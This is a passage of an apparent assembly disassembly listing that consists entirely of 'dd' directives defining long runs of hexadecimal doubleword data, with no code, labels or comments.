		dd 893977D4h, 83C19942h, 20D429A0h, 0AAA5007Fh,	0E53BCA2Ah
		dd 3F004D36h, 24660975h, 307B70F0h, 0EE90808Eh,	80D9DE8Ch
		dd 3EF87E40h, 1EF8DBh, 71AAB102h, 1714A63Dh, 55424F0Ch
		dd 3B3369BEh, 0C780BCCFh
		dd 139C140h, 0E772C1Bh,	83946C54h, 1A794200h, 20F3B2BCh
		dd 322F007Eh, 0D0353D55h, 0D90F0322h, 5C2633DCh, 9B5179C0h
		dd 217B19h, 9D62F953h, 7AC29213h, 99A6E37h, 3207976h, 569D4A59h
		dd 0D80AA38h, 0EB0011FEh, 9B04C594h, 0E6E4E3h, 0F0AE7382h
		dd 77B17026h, 0E01938CFh, 11EB9A33h, 0ACC70C22h, 8E085AF9h
		dd 4BBE21C0h, 0E21B239Ah, 20C2CBDh, 98031835h, 2D181979h
		dd 33A95AAEh, 88B91C07h, 959E43E3h, 81853FBh, 15201846h
		dd 64B8000Fh, 8B3B88EEh, 6B06E72Dh, 7AA383C7h, 0DC780070h
		dd 104D759Ah, 0D80711D6h, 627C1380h, 9902606h, 67E23B7Bh
		dd 0F3046480h, 82509B01h, 0BD0A2620h, 80A862E1h, 20F7EC0Ch
		dd 1060092Ch, 8474DBCBh, 0E8B0503Fh, 9F84C000h,	3E9C511Eh
		dd 0B94F00A5h, 2057E6E9h, 48003706h, 6A15B884h,	3D51F6h
		dd 3EF7CF54h, 1C8FB2BEh, 0B5EDA700h, 63C08D77h,	69230B5Ch
		dd 9A8002E2h, 7DBA79F4h, 7B48A11Fh, 260CA500h, 1CDAF3AEh
		dd 42BB31B2h, 42E4C658h, 62A38740h, 5E91D200h, 46E5399Bh
		dd 0A43D0070h, 8AF2DD63h, 1E2CF414h, 0B5079541h, 0BDA19753h
		dd 5630B006h, 98CC0040h, 48DF1A18h, 0E90C7031h,	38972E57h
		dd 177E8B5h, 85FE0B42h,	9E4B1259h, 51B01E48h, 0B943BBh
		dd 0FDFF57AEh, 0F3D25ECAh, 4424A0Eh, 110A4039h,	6E71C1Eh
		dd 0A34CF410h, 233B3815h, 22C88074h, 0C386EF76h, 3621016Fh
		dd 4825FFEh, 0D561804Ah, 7E3D974h, 61DC0081h, 3C331A77h
		dd 0EE0072CDh, 0FF6F2D7Ch, 80149FB5h, 0C0845B64h, 0A4730C50h
		dd 0CA06D37Ch, 0FCDC8DEh, 0EF4F44C0h, 29F89900h, 0D0F95512h
		dd 5C160AACh, 1FB3156Dh, 0E5578C31h, 0F5001450h, 80AF1FCBh
		dd 0F65A5934h, 0E3C30792h, 2010C0AAh, 0F023B46Ah, 0F80458C6h
		dd 26BD0089h, 4D1882ADh, 0E0641A0Ah, 0F0407F21h, 5ADA0280h
		dd 120C3400h, 17F98374h, 7DB84059h, 0F4816F61h,	0ABD32E19h
		dd 80E9F894h, 0A16F435h, 7265859Ah, 0B44B1584h,	1B231D11h
		dd 0D041F157h, 1CC808h,	0E12A6274h, 0F08D1296h,	28C44DECh
		dd 7300B649h, 83A8268Ch, 0EF703D61h, 98504ECDh,	0C6FA9242h
		dd 99B3DD51h, 809C7903h, 1FEDD430h, 20901E80h, 4E023600h
		dd 29779B93h, 0A9F82A58h, 0BA214480h, 0AE816C01h, 0C0DD578Dh
		dd 0E77ABF4h, 0FE9EC6B8h, 0B82E5039h, 67A06688h, 6CFD5189h
		dd 607B4DF4h, 74DA510Fh, 0ED0C4716h, 0B95D1715h, 95040007h
		dd 77C2D17Bh, 0A603EF57h, 0C74C587Dh, 833832CDh, 58E0C328h
		dd 0A51C1D8Dh, 71141021h, 28C148ACh, 0BE447CE9h, 1C940096h
		dd 0EDD66340h, 2E527734h, 8D007B10h, 0E237AB7Bh, 800C6B42h
		dd 974120EFh, 0AAE57080h, 0FAF54850h, 4550FD49h, 81F9C4BCh
		dd 86AAD200h, 3C2468DEh, 69CCE9D3h, 52CA0155h, 0F4C4409Dh
		dd 0DC20804Eh, 0E3191E27h, 0C0A20C80h, 251887FDh, 17EB748h
		dd 0A1530552h, 51B0976Ah, 0C65BD118h, 1F409EE7h, 0B600655Dh
		dd 89014D81h, 94EC2C9Ch, 7584067Dh, 0C7188055h,	0B6306210h
		dd 95D118C9h, 4C9681ABh, 0E13EE309h, 2DDA0055h,	0C1C6C88Ah
		dd 0EB4E3C89h, 38BC6Bh,	64292082h, 0C370E69h, 96A8E714h
		dd 330C9529h, 5990F49Dh, 3D20008Fh, 725BF782h, 0B01C7A05h
		dd 458017D1h, 3EB6D7C3h, 0C8F53036h, 433A93C9h,	0A800C0EAh
		dd 0F75BEB08h, 320E14Bh, 0B7CEFB9Eh, 783B2251h,	0A1D0B203h
		dd 3CA490F5h, 0ED0C031Ah, 0E756955Bh, 52D1B00Ah, 510B74A9h
		dd 9C4100D6h, 157F0E6Ah, 0A83D470Dh, 884E9414h,	33B1CDC7h
		dd 213CA3AFh, 0E9B6B0ABh, 16E9ACh, 0D0C6913Ah, 0F57BA4B1h
		dd 3B291B00h, 0DEB55178h, 3E98A0BBh, 8C7F00D4h,	91AF5C58h
		dd 0F8C0C62Ah, 4DDC641Dh, 0AC6754ECh, 7E08DFA0h, 0C0AC852h
		dd 813C076Eh, 5EE5EDE8h, 5040CC28h, 7C53EB00h, 70C421DBh
		dd 964224B3h, 0D2AB631Ch, 58EE3900h, 93366EDAh,	40DC065Ch
		dd 79D4CA57h, 6761EC07h, 0E5D0603Eh, 45F20BEh, 0AF719A7Ch
		dd 0A05C971Ah, 0FC80D615h, 4A82BD02h, 0A64BCAE7h, 1948D78Ch
		dd 71DD2FBFh, 46A85131h, 1F02CEC1h, 0CD5048A0h,	8904005Fh
		dd 19086D20h, 0ED055B79h, 7EC6065Ah, 2FABC006h,	99680340h
		dd 0EF102730h, 8C83AD92h, 4901181Fh, 46618A3Dh,	22EB6216h
		dd 0F9062E39h, 81BD4D60h, 0C2F53081h, 806AFD89h, 80DA5C3Dh
		dd 137BFABDh, 767A715h,	0A3F0CB69h, 186BB4D0h, 9C93ED9h
		dd 6E1F055Ch, 0EE093C00h, 0E0A896CFh, 0CD50A023h, 213AC758h
		dd 0F4396865h, 0B4D3F98Ah, 2957D580h, 185A5662h, 0BADDE5DBh
		dd 3774CA22h, 9CD9B260h, 0E6989Eh, 55EDBAD1h, 0E015E7C6h
		dd 0DA3C9702h, 4063353Dh, 8861861Ch, 0B45064C8h, 1F30F0BFh
		dd 33F49B5h, 8FB07Fh, 5D476283h, 75CB4844h, 78CAE100h
		dd 183D954Dh, 30B1C06Dh, 14FC9182h, 1AA5E0F7h, 0C054F348h
		dd 0C6C33323h, 0D2E3017Dh, 0AB409E7Fh, 0CBF853CAh, 0BDA4C1C0h
		dd 87E8527Ah, 0D00B4B00h, 0FE554407h, 404832D6h, 44693E48h
		dd 9A80934h, 44FB0078h,	32E3413Ah, 94913008h, 0F9308C2Ah
		dd 0F747F179h, 0B16D00E8h, 58407E2h, 0A407127Ch, 0DCD86171h
		dd 7F5021F1h, 402F5892h, 0A8F47E60h, 0F94CE2A7h, 1B548064h
		dd 1D90487Bh, 0E45810FBh, 0F242BF4h, 0FEA1436Eh, 3D32C1Dh
		dd 0C600E4B5h, 5ECD9DBBh, 0A87F6A26h, 9922E8AAh, 3FC8004Bh
		dd 0DF9C5195h, 0DCA1314Eh, 6B645196h, 40842147h, 0D3F5F3DBh
		dd 0B5C8AD00h, 6848CE6Eh, 4E0F019Eh, 0D97FCA0Bh, 0BF885093h
		dd 0BCA9C1EAh, 9100DFF5h, 924680A1h, 24AE41E2h,	978DA74h
		dd 0F8983FC7h, 39C6D3ABh, 1E4E811h, 0E49BA451h,	54476527h
		dd 2BD047F4h, 9821A8B4h, 96499780h, 99617228h, 244D1198h
		dd 2A40241Fh, 2ACA3E8h,	9F8DB33Dh, 1069B4C1h, 2424D2CDh
		dd 0D4C02014h, 2C46B9D3h, 0F2F91E00h, 1D6FB716h, 0D26703D6h
		dd 0D0CF343Ch, 0D0359834h, 3879498h, 530F8438h,	0D8BCC88Ch
		dd 50A05C40h, 5150BF96h, 0C8B13D40h, 0B4AF4E01h, 0D050AC71h
		dd 884C3F4Dh, 31D05AD1h, 7001938Ch, 0B44C8C51h,	4E861841h
		dd 0D830C811h, 11D3645Eh, 0D3F87059h, 6132C710h, 0E70AC1DFh
		dd 0B0CD88D7h, 8E5110EEh, 422B570Bh, 816B8E7Eh,	0D333C6C4h
		dd 824C4182h, 4485AA32h, 5C5C4834h, 2F451A44h, 80E85FBCh
		dd 0D91819E6h, 0D40076B9h, 0FDAA0A66h, 2E6FDFh,	31CD627Ah
		dd 36981B37h, 9B4CE8B0h, 41BF3214h, 15E07DC9h, 1603548Ch
		dd 90D97843h, 0D3358079h, 739E0B29h, 0CC38B34Fh, 450393A7h
		dd 0BF4CFA90h, 0E105E412h, 2AB898B4h, 0C4F42213h, 0E96E880Ch
		dd 6BED0439h, 88DA9786h, 0E1CFC7D0h, 0BA8D005Ah, 0B1E3B9h
		dd 0F9D5E9D2h, 0D18A56DFh, 48F1C0B2h, 0C000628Ch, 0A55E7A68h
		dd 91762B74h, 264CA424h, 4DC9C014h, 9F00AE47h, 6159C1E6h
		dd 549060h, 0A84A6D6Fh,	3A3F34F1h, 0B659DCA8h, 49A92F89h
		dd 0FD63003Ch, 9F7EA9B5h, 6FCEB318h, 245A73AAh,	0E7B081E5h
		dd 5FB36092h, 4D40A860h, 97409347h, 0AD822F5h, 0EF988FE3h
		dd 501783ADh, 0BF18669h, 113CC080h, 8E5C37E3h, 70B93870h
		dd 0A8B45808h, 0D7664418h, 807489C8h, 0EE0CCF65h, 0E100CE3Eh
		dd 0AF6EEA83h, 13BC5B8Fh, 30812010h, 6CC10C84h,	557F5373h
		dd 30353E80h, 0CF21AAF5h, 0B700931Ah, 0E42CF9B4h, 164EFF4Dh
		dd 704260E7h, 43F5EDE8h, 91B76C05h, 804EB5E0h, 6C4C70C4h
		dd 0DF6E0FC0h
		dd 8F004A73h, 64F566F8h, 6CC0950h, 0D661A011h, 6844D189h
		dd 0E375091Fh, 0BC277AFCh, 2590C8CBh, 1D09304Dh, 0FCA014ABh
		dd 0B53AE7CDh, 0A6010A3Eh, 0CC44A045h, 7C644940h, 1C00A8B5h
		dd 38860A0Dh, 0E2C2B9F9h, 0FCCE4904h, 4634F029h, 6A61D162h
		dd 92CC3BA1h, 16A7EDDCh, 44EFDE9Eh, 42AF3324h, 90B35DD1h
		dd 8B6332DCh, 8CC9492Ah, 1590D090h, 5019D901h, 0DF5B28BFh
		dd 56F9A5FCh, 7500F0D7h, 0FB475065h, 0F63BABB1h, 0D08F87DFh
		dd 1CD34B81h, 0C4F12418h, 0A6AF0064h, 79AC3736h, 0C0DC3D4Dh
		dd 559B9AEFh, 0C7B00DFh, 0D797BB14h, 0F6046479h, 0C3EE867Eh
		dd 0E0224890h, 0ED7F12CBh, 0D4FC9077h, 0CA302817h, 2D619969h
		dd 52A123Bh, 0F56482E0h, 67397C80h, 0A46F77E7h,	0D00819h
		dd 38100A11h, 4F0088D2h, 5DCF4C8Ah, 1F9E3579h, 99ABC1AFh
		dd 2D6270C5h, 8DD98094h, 0D61B47h, 0E33B7AD3h, 0DEB4CDC3h
		dd 0C3BB3580h, 0DA53BF29h, 803CF113h, 19FB6C70h, 0B77602FFh
		dd 973E52D3h, 8BBD64E0h, 60CEBF12h, 38162843h, 4C3AD35Eh
		dd 863EB041h, 0E6013E40h, 927C15F4h, 94292E82h,	0BD5D5F00h
		dd 480A8DFh, 0F820E900h, 6C2B3425h, 0A01F4869h,	1480B488h
		dd 57463C0h, 519906C6h,	8028126Bh, 1109C805h, 0E05EBB0Bh
		dd 50208F13h, 2764A5h, 0D3EFF702h, 7A9A12E9h, 363B7500h
		dd 71F25C58h, 4565041Bh, 0E3DA187Fh, 0C0C4484Ch, 919F3C50h
		dd 389B007Ch, 0A6E62480h, 0B7136B56h, 0B0206393h, 4AF5A3Ch
		dd 0BB5F6DCAh, 520488C4h, 2191A763h, 348ADC64h,	6B9BB300h
		dd 0B555E7CBh, 0D901AD7Fh, 0BFF08BA6h, 81F954C1h, 5A7FCC5Ch
		dd 517EB0A0h, 48F97530h, 0C0A1F544h, 6CA5F421h,	8F028EE7h
		dd 4D4AF7C4h, 0D85920h,	3D1FF688h, 0BC69C997h, 46E84A91h
		dd 0B58B0204h, 0E59F07C5h, 0D8A16FC1h, 3E84C59h, 1037F427h
		dd 0C41DF0h, 0DB07F594h, 8B7196E2h, 8444809Ch, 0BEE48Ch
		dd 5B9E269Dh, 399F1271h, 0FE5CD80Bh, 4EC40231h,	4E205233h
		dd 45B420C8h, 803D6476h, 0EC51E95h, 5CCBF881h, 0CF44B88Fh
		dd 78814095h, 20456535h, 3C000C84h, 337C4B06h, 84E068h
		dd 71D7E316h, 0F5295B10h, 0F3694C60h, 0E102A4h,	0AE995218h
		dd 769D31C1h, 1D4D0814h, 80D088DCh, 0FC22B295h,	0F0096A4h
		dd 2C78ADA2h, 0E67637Ah, 3D973F0h, 0B4680789h, 4402406Dh
		dd 28A1CEFEh, 1FF8C504h, 55B503C1h, 0F6D0755Ah,	8D05A689h
		dd 655217E8h, 272578CCh, 0AC24EA4Eh, 75F90644h,	13870011h
		dd 1A275C81h, 6700E518h, 38CE6108h, 604B7505h, 0B7E69140h
		dd 3C012797h, 43F694CDh, 743C87E2h, 109E1481h, 3CB06266h
		dd 0C1E048C8h, 0A8CAA354h, 0C90FE8h, 0D6A66E7h,	72030ABCh
		dd 527D7605h, 28028028h, 68A9D6F6h, 9627C77Ch, 38D8CD90h
		dd 8C2CD3FCh, 9C7800D6h, 4191E060h, 2578533Bh, 82AB8501h
		dd 0FA662B5Ah, 9CE54C64h, 29324458h, 70C52093h,	19CDC778h
		dd 0E8BF69C5h, 6EAB6C9Ch, 44FF11C6h, 80918674h,	0BD1C7B1Eh
		dd 8576DB01h, 3EE33320h, 0BAD04FF1h, 13809166h,	89F8881Dh
		dd 0FEF74602h, 6322092Ch, 501AEA1Ch, 0CAC902F4h, 200D075Ch
		dd 0C052B891h, 5709A4E2h, 0E4618D3Bh, 4DBB44E4h, 0B05C3F34h
		dd 659C2898h, 80FB86B7h, 2EAF2E6h, 5F021A78h, 1E7BED4Bh
		dd 10B88961h, 96936BA0h, 601D99E0h, 889914B6h, 0B07352F1h
		dd 44103721h, 0E0D11475h, 351610A9h, 0B5F03269h, 408C132Fh
		dd 49BD05B2h, 90F6984Eh, 0E6BF80A4h, 0B434DC4Fh, 0D2D1840h
		dd 58DDA144h, 6D88345Dh, 6B645460h, 21CA13F6h, 0C94020ABh
		dd 939165Ch, 0E33704CDh, 4C8935C1h, 8FC2108Bh, 6A5DB810h
		dd 0B400C6F0h, 36333135h, 32CC57Ch, 202DCA5Fh, 8AD926CDh
		dd 16E0390Fh, 9010E7BFh, 65BA1348h, 784E898h, 31263C4Bh
		dd 89F32043h, 5C003003h, 523461ADh, 250DE56Bh, 14A36378h
		dd 5111971Fh, 0EC58B734h, 94342928h, 32114C94h,	7AD26245h
		dd 784F4428h, 0B0A9BF00h, 7D9E8FDAh, 0CCE3549Ah, 0D14D45E1h
		dd 279C3686h, 1A1031B7h, 0C8B204h, 0D87C37BDh, 3E7675EDh
		dd 304A85A8h, 0CEB88EE0h, 0C24C997Dh, 0C98102E2h, 91893C95h
		dd 0BF11BB94h, 94C822F0h, 10F4894Ch, 1D301E38h,	4683FF79h
		dd 19B247D1h, 964F5112h, 14D15912h, 5808AF35h, 51F0B345h
		dd 642C9464h, 5A6941A3h, 0D7401148h, 7C6CFFAh, 43D77870h
		dd 0D06F4235h, 15AB4883h, 35603A4h, 0DB59C879h,	0CD3331B9h
		dd 3D4CE071h, 40D6C018h, 4877CF1h, 0C38A99DFh, 28A8F25Dh
		dd 5C1FE596h, 2456489Ch, 60F938C8h, 2732B14Eh, 0E3002C77h
		dd 71C95711h, 318E13h, 51AC1FF0h, 42221C43h, 9C4A709Eh
		dd 9000C896h, 5E3F8286h, 6B130909h, 0DCC970F4h,	383C08E7h
		dd 768FB252h, 4CE2F65Dh, 14826C6Dh, 9510D8F0h, 0F7A30051h
		dd 8D45E255h, 535C4324h, 82BF1224h, 33159101h, 42F684B7h
		dd 9647190h, 0B485D4E8h, 0D88C50D0h, 280F049h, 0A8A54E87h
		dd 8047933Fh, 5815E48Fh, 3BBB911Fh, 0F44982B8h,	8783390Eh
		dd 7D0E1C80h, 8D5BF4B3h, 0FF30C020h, 0DB810377h, 67744FFDh
		dd 70519204h, 30942998h, 1900E0A2h, 743CEA56h, 85049B06h
		dd 7BF2A789h, 38E18092h, 0ACF338C7h, 5A13A469h,	43406C20h
		dd 0D80D0BBBh, 7CCC6330h, 0AE93B4B4h, 708C6420h, 3C43123Bh
		dd 1AF808A8h, 691B288Ch, 0BF184435h, 0D488CC4Dh, 0A4372A8Ch
		dd 9D0072F4h, 70AA4D15h, 0E93652h, 1BFE0E1h, 1A2492E3h
		dd 4CF4C324h, 0E5F35947h, 0C23EB078h, 88CD0110h, 346C0B9Fh
		dd 0C0F42263h, 83307B5Ch, 0FCD1EAE7h, 8C63E52Dh, 0FE1ED922h
		dd 98409313h, 75A2CADDh, 0B78B1343h, 5374825Eh,	0C4268479h
		dd 0AA7D9238h, 80743015h, 6206C1D3h, 520707B2h,	2B5398ECh
		dd 4B8C429h, 913B397h, 0DC4A884Fh, 6F604828h, 0FFCEBDh
		dd 1B8F2D81h, 69C59D1Ch, 0C8085841h, 8C010284h,	283D6A64h
		dd 0BFCEBCA2h, 0E3A8182Bh, 0E2500FF8h, 56C041B3h, 5EE9C75Fh
		dd 0E8B71F09h, 0BB642437h, 7739A240h, 28196B96h, 2A5971DFh
		dd 0C9005463h, 0A3B91752h, 7920ED84h, 323888C6h, 0CB2500AAh
		dd 0DF2CEA7h, 0D7028AB2h, 276A74D6h, 0E868687Ah, 20E48A78h
		dd 23183800h, 2F562ABDh, 12CE1C4Ah, 203F0203h, 0B47965B2h
		dd 8200A111h, 0CB80F23Eh, 0D80DE7CFh, 580FD069h, 2F2F8C6Ch
		dd 9BF00C30h, 60976305h, 749CB70Fh, 73E40014h, 0A62E6B7Fh
		dd 0CA5E8188h, 15F52460h, 43DCBE0Dh, 0E390BCCAh, 0C67CECD4h
		dd 9879852Ah, 0C4103258h, 4577DA2Fh, 23100618h,	0F40E0C89h
		dd 623D2441h, 0F3F8B1FEh, 6ACE08C8h, 3CC381BCh,	8C62F220h
		dd 0D838B9FDh, 67097F83h, 0EABF1112h, 14813825h, 809221AFh
		dd 18943631h, 0D4D8CE2Ch, 8E616C1Ah, 66966BE8h,	4EAF22D4h
		dd 66590C90h, 8F08DDB4h, 0CEF581ABh, 61209EF3h,	0CCBAD56Ch
		dd 0A7110A28h, 0F51D6AF9h, 6E7DC050h, 0D14EC69Ch, 38017F27h
		dd 377898h, 0E87BCA31h,	9E0126E6h, 0BC08405Ah, 0D433615Dh
		dd 275AFC17h, 7E04D812h, 2776CC22h, 59852081h, 7B00A935h
		dd 91A2BDD2h, 0E6CCF5Ah, 0C8FAC9Fh, 2AC88197h, 3E8194BFh
		dd 4DFCC0F4h, 4F5672h, 50BD0409h, 0B7164ECBh, 0A260965Ch
		dd 6168561Dh, 286BE04Dh, 0C0C8E324h, 14C31FD0h,	14ED4E37h
		dd 8E5C2E03h, 6A204B2h,	0E0BEC878h, 233010CBh, 26700097h
		dd 13FD185Dh, 315CAFECh
		dd 35E984ECh, 4A803855h, 38425687h, 0D78D0B02h,	6A1B9E51h
		dd 40F454E0h, 2CCF1DD9h, 96555900h, 797C11E4h, 0F4100230h
		dd 0D9E6803Ah, 820E0CF2h, 8ABECA46h, 0D8242454h, 0E969FE40h
		dd 0BDE000F9h, 598EBB80h, 7E2C3891h, 1E9DF80Fh,	5A604824h
		dd 9C6C2FDh, 3DBC1165h,	6900C066h, 79CC365Eh, 0B323EA2Ch
		dd 2E9C2CD0h, 1198C8E8h, 3C204ED9h, 1D73AD05h, 0C041762h
		dd 85793F25h, 8D25EC98h, 0BDA8A487h, 110A252h, 0E512CFC8h
		dd 0C0FE6046h, 0BA4116Bh, 2F1E51DBh, 3A3B7810h,	0C9AA7002h
		dd 28B54B0Ah, 0BAED4088h, 0AB0F8AB7h, 0C02393E1h, 59BD9FAEh
		dd 80D0B9C3h, 0D1C48889h, 266D29CBh, 0FC409996h, 3F9830FBh
		dd 1682E5EDh, 0D7C4F16Dh, 51427054h, 10442AD0h,	6C378BB3h
		dd 5510EB4Ch, 3800047Fh, 4FE2CFCEh, 31F2E3FAh, 2F2873E1h
		dd 0D432CAh, 0E8CDF10Dh, 1CAC44h, 0B7A7DF79h, 48F0201Bh
		dd 4D24A590h, 3288A49Ch, 0B4AE45A0h, 0C2015DDCh, 321BE190h
		dd 332B9135h, 40F0CD70h, 4E0E9072h, 57A11B02h, 21C82022h
		dd 8CE833C7h, 9977F931h, 30973C78h, 0FC72EB00h,	6FAF2B4Fh
		dd 809AAA03h, 17F4607h,	0EA57C881h, 3C83179Fh, 0B5518114h
		dd 746C0D7Ch, 47FEEA80h, 0B345C7AFh, 4C22C021h,	0C8E6BF12h
		dd 928E3564h, 0C070B6D4h, 0A1F4DA84h, 0C094F359h, 46971507h
		dd 0DFB40774h, 404EA5EBh, 0A4D068E1h, 2063714Fh, 1A10E080h
		dd 0D3150187h, 0B7721C9h, 0A659E46Dh, 0D93DAA17h, 67B4F008h
		dd 368448AEh, 0C0E576CFh, 96104EF1h, 940764A3h,	3DBB24E9h
		dd 133CEECBh, 0D122F03Eh, 11B2CC34h, 0CB10D0F9h, 152489E6h
		dd 8C00FF92h, 1EC4E088h, 2CBA9599h, 0C988B4D9h,	1F611164h
		dd 0D45A617h, 6889F849h, 1084E42Ch, 7F94C079h, 0DF01082Fh
		dd 3DE34FC1h, 806244BCh, 94E91302h, 8D99B33h, 0B09064A5h
		dd 0AE8F165Ch, 0C7C821E9h, 2080FE65h, 811C12E6h, 383A0A26h
		dd 7C39420Ah, 71B0CE10h, 8CE09B14h, 0E0FF1B00h,	60C156A7h
		dd 790CB447h, 88403C46h, 126C6A99h, 0C89834B2h,	0F000043Ch
		dd 31ED43F3h, 4E630722h, 0EB14444Ch, 0D8AB4677h, 0AE350031h
		dd 185A4726h, 8909C66Fh, 53D2A745h, 74E4A0A4h, 230CA963h
		dd 40182711h, 5162C944h, 3DDA2E12h, 886AECCCh, 801170Ah
		dd 352AE28Fh, 198073CAh, 3AA86141h, 6800AC27h, 0B4CB4570h
		dd 3DAF1859h, 0CB4BDAABh, 78085134h, 10F3C000h,	39237BA2h
		dd 3202E8DEh, 0D1494175h, 3F8030F9h, 0C63B7CBEh, 0E5E903ADh
		dd 400D6F97h, 0B8017D3h, 52605A65h, 0EA82E0D1h,	3D2000AFh
		dd 2A57F697h, 0FE06911Ch, 68524042h, 9E78B0E9h,	40B244E0h
		dd 18563099h, 1CD700B3h, 364BB7E1h, 9A0BC5F3h, 647A01B2h
		dd 0FA302ACh, 5176E79Bh, 65F6FF40h, 0A73D3Bh, 0B4B371Eh
		dd 0B3A3FBF9h, 0A900BB30h, 0F437E02Dh, 87F8345Dh, 0B3ECC1A0h
		dd 0EC30AD5Ah, 0D85E4E31h, 8F17B099h, 96051894h, 6CF4CBBFh
		dd 0C137000Eh, 0C8279DF1h, 772E645Eh, 5243287Ch, 3C290B15h
		dd 1010864Eh, 1CB63DA0h, 0D00869C3h, 900D8Eh, 0DC38CC05h
		dd 0F988E96Ch, 0E691494h, 50D873F0h, 5248588Bh,	5B413400h
		dd 56995A1Bh, 4654E404h, 7CF90C3Eh, 509C6D26h, 1C1352F8h
		dd 28D8B8CCh, 1BF40068h, 0EA625647h, 1C27BAA8h,	301C9850h
		dd 3B40A018h, 0A9F600DFh, 9E62236h, 0C5009463h,	815F1BB5h
		dd 0B364425Bh, 0A0520088h, 0D23C7089h, 0E8277401h, 771DC6BAh
		dd 0C8619600h, 1A4F1EFCh, 0B1CB4427h, 51E2A0CCh, 0F0E18040h
		dd 744F1E41h, 1BD9C707h, 7BA1E538h, 1E4258Dh, 44035D5Eh
		dd 4E81825h, 95E412F0h,	0C1248403h, 98CF1A7Bh, 745016h
		dd 67AD799Dh, 68FD27EEh, 985C97F2h, 0CDF08BFCh,	0D2F98C20h
		dd 600E899h, 6702E390h,	2B7D3FCh, 0D8C58866h, 0BCE6827Ch
		dd 27DCC800h, 0F55114F4h, 30C427BAh, 0C8DF6831h, 4A169EDDh
		dd 77123305h, 0E260DC20h, 732509AFh, 34024ED3h,	0D7246632h
		dd 2F25080h, 1D96004Dh,	1E2EE12Fh, 90976142h, 0E8090D68h
		dd 0B1F20089h, 35F92C0Fh, 0B700174Dh, 0A2F0B2DDh, 2F79AE1h
		dd 0EE20E599h, 64614ED1h, 48108B1h, 8CD25BBh, 0F0CF4F4h
		dd 0D69EA30Eh, 7D280E7h, 0C3965Eh, 98192758h, 0CB1DB4DDh
		dd 0C0794503h, 881B2E68h, 0BEB6F05Eh, 0FFFA60A0h, 0D008AA8h
		dd 716286C7h, 0F251B8h,	0C6D52F01h, 0FEA7C1DBh,	6096F417h
		dd 8093BC70h, 977D0053h, 0F9EA981Ah, 0F601A47Ah, 0CC5AA95Dh
		dd 0B04968D6h, 975D020h, 0A8726AC8h, 870038F9h,	9DF726D6h
		dd 31E60618h, 4E477DD0h, 0FC61F10Eh, 0C442600Dh, 486D5409h
		dd 6F2208BBh, 5FFC4C01h, 0E1A9318Bh, 0BB9B20h, 0E33E8561h
		dd 4DCA2D33h, 0E908D4A8h, 0B370CF00h, 18F8EFD3h, 0CC805C33h
		dd 2CB72E11h, 2C6028CEh, 165B7EF5h, 0C82BC6E0h,	710041ECh
		dd 61BCBB07h, 9540994Eh, 0D1929413h, 80B4EB00h,	52DB00B3h
		dd 61FD9ED2h, 95028250h, 220A21FAh, 0A0D0EDh, 0F3C7EA35h
		dd 203C6765h, 705FFA01h, 61AE93E6h, 73AA9981h, 6034E972h
		dd 0F8BAB80Ch, 426490Fh, 7AD1CAh, 60C20FB2h, 9CA70528h
		dd 1C53CB07h, 0CFE3F2DDh, 0F8B38DC6h, 9900E423h, 0A8E658EAh
		dd 0F1250067h, 6155C86Ah, 3D125943h, 0A080DEAFh, 7574D71Dh
		dd 4B66780Eh, 65408C96h, 7FD8F200h, 70FA2797h, 6CC603B8h
		dd 3E4DBDC3h, 93927FA7h, 7FA85134h, 5E01A6D0h, 80A4953Dh
		dd 0E08096ADh, 5F336124h, 9B14FA64h, 28A620A7h,	1F7BFCA5h
		dd 0BE38B3h, 0E5750E04h, 0ECE96515h, 0B9D10B61h, 30896301h
		dd 5990F466h, 0FE6523Ch, 95BB6Ch, 0B4DC720Bh, 9CFB0B62h
		dd 0F0876BABh, 5CC45322h, 0BBA6A7D0h, 9830DB04h, 8CA42F1Ch
		dd 727F00E8h, 47F0137Eh, 0D5780894h, 4BCA2311h,	5929A600h
		dd 0E6CF8751h, 9035C327h, 3EB970F8h, 7680BC2Dh,	4C104E36h
		dd 0A902B222h, 0C6D72C1Dh, 804071D1h, 0DB3F66ECh, 0BD00E664h
		dd 713D76A5h, 0AF2B13Ah, 6ECDC6C5h, 139C40ACh, 30F8372Fh
		dd 63668015h, 59D10ED0h, 0DC2277C3h, 0D8D92973h, 7AC25301h
		dd 0E07AB7CBh, 380EAA81h, 44D72FF5h, 1089FAD0h,	9BAD4050h
		dd 4CCA2205h, 0B4F1000h, 0F8043F8Dh, 0D81E5140h, 0FCF0293Bh
		dd 0F414CB9Ah, 10C820C1h, 0C800ED0Dh, 39127DC6h, 0AC00410Eh
		dd 3180375Ch, 283253BBh, 9D47120h, 0B6DFE9BFh, 0FD1DD07Bh
		dd 6605EE40h, 0A8EDB2h,	0D48C22E7h, 0A193B37Dh,	5505BCEEh
		dd 4133AE1Bh, 0E03E9CC2h, 4AE3FBD5h, 7F3C42ACh,	9BC0434Bh
		dd 72793244h, 0B4E5BF18h, 1FB4C30h, 0FD4135FCh,	304209A8h
		dd 0B84CF670h, 20704804h, 0E3580328h, 67C9B334h, 17E456C5h
		dd 52EC884Ch, 0A0500671h, 8158E408h, 51E20C9Dh,	0A80349Dh
		dd 33620726h, 8EAC01B4h, 60C37BFFh, 2988B5ACh, 0EF9100CBh
		dd 1F39BFAFh, 2A0E1BB4h, 5D341222h, 2B4E924Fh, 96FC902Fh
		dd 8B40388h, 0DE6534Ch,	4EA8C9DBh, 48008F29h, 37C40592h
		dd 0F8B03395h, 0CD401CF3h, 92E0A66Dh, 10689018h, 6B009146h
		dd 30A5C40Ch, 7F37BED4h, 96E527D3h, 0B553D882h,	58440Bh
		dd 0FAA73F2Fh, 5B063836h, 67AEBC12h, 48161016h,	2417ECA7h
		dd 6010012Ah, 220FEA4Eh, 0C04F4B54h, 0F93D40E6h, 4F27A9Dh
		dd 0BDF45BD2h, 6594F4ACh, 0B01B7F00h, 24B9CA7Bh, 5AB43F07h
		dd 1019D5AFh, 0C0FAF419h, 434D8F00h, 3DD6FFC8h,	0B4309FD0h
		dd 0CC222A58h, 0CA1A0DA7h
		dd 0CC28D7AAh, 0A328756Fh, 78945066h, 48880980h, 38D6418h
		dd 0B8A9CF3Bh, 3924ECF9h, 90252844h, 48A1EA0h, 193738FFh
		dd 8EB8C0FBh, 3298934Ch, 0D178A800h, 0A540E017h, 602F513Ch
		dd 386EA30h, 6384BD87h,	81905D0Bh, 1B76B9AAh, 9E912409h
		dd 3A5C8461h, 4D8738FCh, 0D7E9937Dh, 0A97C6C90h, 0B0F25C00h
		dd 90D6AA7Ah, 2E1018Ah,	0D7172181h, 55544831h, 282CFB00h
		dd 3CE68F61h, 6CED03E0h, 24395326h, 2901ABEBh, 0CD278268h
